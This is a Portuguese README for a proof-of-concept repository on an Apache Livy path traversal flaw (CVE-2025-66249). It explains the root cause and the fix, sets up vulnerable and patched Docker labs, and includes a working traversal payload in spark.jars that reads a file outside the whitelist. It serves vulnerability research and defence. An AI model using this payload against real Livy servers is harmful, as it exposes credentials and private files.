
Um POC para a vulnerabilidade de bypass de lista de permissões de path traversal do Apache Livy
Apenas para fins educacionais e de pesquisa em segurança. Não utilize contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar. → Aviso Legal Completo
Um usuário autenticado com acesso à interface REST ou JDBC do Livy pode enviar uma sessão Spark ou um job em lote com um valor de configuração de caminho de arquivo manipulado que escapa à lista de permissões de diretório.
Causa raiz — Bypass de path traversal na verificação da lista de permissões (Session.scala)
Quando livy.file.local-dir-whitelist está configurado, o Livy 0.8.0 valida os
caminhos submetidos chamando String.startsWith() do Java no caminho bruto,
não normalizado. Essa verificação pode ser contornada usando sequências de
traversal ../:
/opt/safe-data/../sensitive/secret.txt
A string bruta começa com /opt/safe-data, então a verificação passa — mas o
caminho resolve para /opt/sensitive/secret.txt, que está completamente fora
do diretório permitido.
Condição de ativação: A vulnerabilidade só pode ser explorada quando
livy.file.local-dir-whitelist está definido com um valor não padrão (não vazio).
Se a lista de permissões estiver vazia (o padrão), a validação de caminho é
ignorada completamente e o problema não é acionado.
Impacto: Um atacante que envia uma sessão via API REST do Livy pode referenciar arquivos locais arbitrários no servidor Livy. Em um cluster de análise compartilhado, isso se traduz em potencial exposição de credenciais, chaves, arquivos de configuração ou qualquer dado legível pelo usuário do processo Livy.
Session.scalaVulnerável (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Corrigido (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Ambas as versões foram clonadas diretamente do repositório oficial do Apache Livy no GitHub usando os seguintes comandos exatos:
Repositório: https://github.com/apache/incubator-livy
# Versão vulnerável — clonada em ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Versão corrigida — clonada em ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| Versão |
|---|
Session.scala: Paths.get().normalize() antes da verificação da lista de permissões import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
Impacto no v0.8.0:
A verificação startsWith da string bruta pode ser contornada com um payload de path traversal.
Exemplo: se livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (contornado)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (bloqueado)Os diffs foram produzidos clonando ambas as tags localmente (veja acima) e executando:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Atacante (usuário REST/JDBC autenticado)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← caminho começa com prefixo permitido — String.startsWith() passa
← mas resolve FORA do diretório via traversal ../
}
}
│
▼
Livy 0.8.0 — verificação da lista de permissões contornada (startsWith bruto, sem normalização)
│
▼
Spark lê o arquivo e o distribui aos executores
│
▼
Atacante recupera o conteúdo do arquivo via saída do job / logs
Todas as etapas deste PoC foram executadas e validadas no seguinte sistema:
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → imagem: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → imagem: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → script único, executado sem alterações em ambos os ambientes
Sequência completa de ponta a ponta — siga os Passos 1 a 4 em ordem:
Passo 1: Construir imagem vulnerável → iniciar container → verificar se Livy está ativo
Passo 2: Executar validate.sh → confirmar VULNERÁVEL (ataque HTTP 201) → parar container
Passo 3: Construir imagem corrigida → iniciar container → verificar se Livy está ativo
Passo 4: Executar validate.sh → confirmar CORRIGIDO (ataque HTTP 400) → parar container
Nota: O Livy leva aproximadamente 15–20 segundos para ficar pronto após
docker run. Todas as etapas abaixo incluem umsleep 20explícito antes de qualquer chamada à API.
Arquivos:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — escuta em 0.0.0.0:8998, modo local, lista de permissões = /opt/safe-data1a. Construir a imagem:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
Validar — imagem foi criada:
docker images cve-2025-66249-vulnerable
Saída esperada:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. Iniciar o container:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
Validar — container está em execução:
docker ps --filter name=livy-vulnerable
Saída esperada:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. Aguardar o Livy iniciar e verificar a API REST:
O Livy requer ~15–20 segundos para inicializar antes de atender requisições.
sleep 20
curl -s http://localhost:8998/sessions
Saída esperada:
{"from":0,"total":0,"sessions":[]}
1d. Validar a estrutura de diretórios dentro do container:
Confirmar que o arquivo seguro permitido existe:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Saída esperada:
This file lives inside the whitelisted directory.
Confirmar que o arquivo sensível existe fora da lista de permissões:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Saída esperada:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
O container vulnerável do Passo 1 deve ainda estar em execução na porta 8998.
O que test/validate.sh testa:
| # | Ataque | Chave do payload | Resultado esperado no Livy 0.8.0 |
|---|---|---|---|
| 1 | Path traversal via String.startsWith() no Session.scala | spark.jars com traversal ../ | HTTP 201 — traversal contorna a lista de permissões |
2a. Executar o script:
bash test/validate.sh
Nota:
validate.shfunciona da seguinte forma:
- Ele faz polling de
GET /sessionsaté que o Livy responda (até 60 segundos), confirmando que o servidor está pronto.- Ele envia uma requisição
POST /sessionsviacurlcom um payloadconfmanipulado direcionado a um arquivo fora da lista de permissões (/opt/sensitive/secret.txt) usando traversal../.- Ele lê o código de resposta HTTP: 201 significa que o Livy aceitou o caminho sem normalização (vulnerável); 400 significa que o Livy o rejeitou após normalização (corrigido).
- Se uma sessão foi criada (HTTP 201), o script imediatamente a exclui via
DELETE /sessions/{id}para manter o servidor limpo.- Após o teste, imprime um resumo e sai com código 1 (vulnerável) ou 0 (corrigido), tornando-o adequado para uso em pipelines automatizados.
Saída esperada:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. Parar e remover o container vulnerável:
docker stop livy-vulnerable && docker rm livy-vulnerable
Validar — container foi completamente removido:
docker ps -a --filter name=livy-vulnerable
Saída esperada (vazia — sem linhas):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Arquivos:
docker/fixed/Dockerfile — mesma imagem base e Spark 3.1.3, apenas a versão do Livy muda para 0.9.0-incubatingdocker/fixed/livy.conf — idêntico ao docker/vulnerable/livy.conf (mesma lista de permissões, porta, modo)Manter Spark, imagem base e toda a configuração idênticas ao Passo 1 isola o Livy como a única variável.
3a. Construir a imagem:
docker build -t cve-2025-66249-fixed docker/fixed/
Validar — imagem foi criada:
docker images cve-2025-66249-fixed
Saída esperada:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. Iniciar o container:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
Validar — container está em execução:
docker ps --filter name=livy-fixed
Saída esperada:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. Aguardar o Livy iniciar e verificar a API REST:
sleep 20
curl -s http://localhost:8998/sessions
Saída esperada:
{"from":0,"total":0,"sessions":[]}
3d. Validar a estrutura de diretórios dentro do container:
O container corrigido usa os mesmos fixtures do vulnerável — isso confirma que a única variável entre os dois ambientes é a versão do Livy.
Confirmar que o arquivo seguro permitido existe:
docker exec livy-fixed cat /opt/safe-data/safe.txt
Saída esperada:
This file lives inside the whitelisted directory.
Confirmar que o arquivo sensível existe fora da lista de permissões:
docker exec livy-fixed cat /opt/sensitive/secret.txt
Saída esperada:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
O container corrigido do Passo 3 deve estar em execução na porta 8998. O script é idêntico — sem alterações.
O que muda entre o Passo 2 e o Passo 4:
Paths.get().normalize() antes da verificação da lista de permissões4a. Executar o script:
bash test/validate.sh
Saída esperada:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
O que a mensagem de erro confirma:
| Ataque | HTTP | Mensagem de erro | Causa raiz corrigida |
|---|---|---|---|
Path traversal via spark.jars | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. |
4b. Parar e remover o container corrigido:
docker stop livy-fixed && docker rm livy-fixed
Validar — container foi completamente removido:
docker ps -a --filter name=livy-fixed
Saída esperada (vazia — sem linhas):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
O CVE-2025-66249 é uma falha lógica única e direcionada na aplicação da lista de permissões que protege o caminho de acesso ao sistema de arquivos local do Livy.
A lista de permissões (livy.file.local-dir-whitelist) existia em todas as versões afetadas
e estava configurada corretamente. A falha estava em como a lista de permissões era avaliada:
Bypass de path traversal (a única fraqueza): A comparação da lista de permissões em
Session.scala usava String.startsWith() do Java na string de caminho bruta. Isso é
insuficiente para comparações de caminhos de sistema de arquivos porque não leva em conta
segmentos de traversal ... Um caminho como /opt/safe-data/../sensitive/secret.txt
satisfaz a verificação de string contra a entrada da lista de permissões /opt/safe-data,
mas resolve para um local completamente fora dela.
A correção na versão 0.9.0 é mínima e direcionada: uma chamada a Paths.get().normalize() é
adicionada antes da comparação com a lista de permissões. Isso resolve todos os segmentos
.. antes que a verificação startsWith seja executada, de modo que o payload de traversal
é corretamente identificado como apontando para fora do diretório permitido.
Principais conclusões para defensores: A vulnerabilidade só é explorável quando
livy.file.local-dir-whitelist é definido com um valor não vazio. Embora isso signifique
que a configuração padrão não seja diretamente vulnerável, qualquer implantação que tenha
restringido a lista de permissões (ou seja, que tenha explicitamente limitado quais
diretórios o Livy pode acessar) é paradoxalmente a que está exposta — porque é a presença
da lista de permissões que ativa o caminho de código com falha. Atualizar para o Livy
0.9.0-incubating é a única correção completa.
Contribuições para melhorar este PoC ou a documentação são bem-vindas! Por favor, garanta que quaisquer contribuições:
Para contribuir, abra um pull request ou registre uma issue descrevendo a mudança proposta.
Este projeto está licenciado sob a Licença MIT.
Este repositório é apenas para fins educacionais e de pesquisa em segurança. A prova de conceito demonstra a mecânica da vulnerabilidade para auxiliar na compreensão e em medidas defensivas. Não utilize contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security
| Campo | Detalhe |
|---|
| CVE ID | CVE-2025-66249 |
| Gravidade | Importante (CVSS N/A — avaliação NVD pendente em 2026-03-15) |
| Afetados | Apache Livy 0.3.0-incubating até 0.8.0-incubating — apenas quando livy.file.local-dir-whitelist é definido com um valor não padrão |
| Corrigido em | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: Limitação Incorreta de um Nome de Caminho a um Diretório Restrito ('Path Traversal') |
| Divulgado | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| Relator | Hiroki Egawa (descobridor) |
| Tag |
|---|
| Commit resolvido |
|---|
| Caminho local |
|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
| Componente | Detalhe |
|---|
| SO do Hospedeiro | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Arquitetura | x86_64 |
| Memória Total | 15 GiB |
| Docker Engine | 28.2.2 |
| JDK do Hospedeiro | OpenJDK 17.0.18 (usado apenas pelo hospedeiro — os containers usam eclipse-temurin:11-jdk-focal) |
| Imagem base do container | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Versão do Spark (ambas imagens) | 3.1.3 com Hadoop 3.2 |
| Versão do Livy — imagem vulnerável | 0.8.0-incubating |
| Versão do Livy — imagem corrigida | 0.9.0-incubating |
Paths.get(...).normalize() adicionado em Session.scala; resolve ../ antes da comparação com a lista de permissões |
string-startswith-bypasspath-normalisation